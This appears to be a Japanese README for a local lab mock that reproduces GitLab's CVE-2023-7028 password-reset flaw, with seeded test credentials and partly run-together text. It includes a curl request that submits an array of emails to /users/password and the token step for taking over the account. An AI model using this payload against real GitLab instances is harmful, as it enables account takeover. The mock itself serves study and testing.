CVE-2023-7028(CVSS 10.0):POST /users/password が user[email][] 配列を受け入れました — サーバーは email[0] でユーザーを検索しましたが、同じリセットトークンを すべての アドレスに送信しました → [email protected] を持つ攻撃者が [email protected] を乗っ取ります。
影響を受けるバージョン:GitLab CE/EE <16.5.6、<16.6.4、<16.7.2。このモックは 16.6.0 の脆弱なフローを再現します(JSON DB、SMTP なし)。
npm install && npm start → http://127.0.0.1:3000(または PORT=3001 npm start;ビジー時は自動リトライ;localhost のみ)。
シード済み:[email protected]/s3cur3P@ss!、[email protected]/BobSecure1!、( 内)。
[email protected]/5iveL!fedata/users.jsoncurl -X POST http://127.0.0.1:3000/users/password -d "user[email][][email protected]&user[email][][email protected]"
http://127.0.0.1:3000/mailbox または /api/emails を確認 — 両方に同じトークンが届きます。.../users/password/edit?reset_password_token=TOKEN を開いて乗っ取ります。
通常時:user[email][email protected] → メールが 1 通届きます。メールボックスにはすべてのメールが表示されます;ホスト外には送信されません。
MIT — ラボ専用、公開しないでください。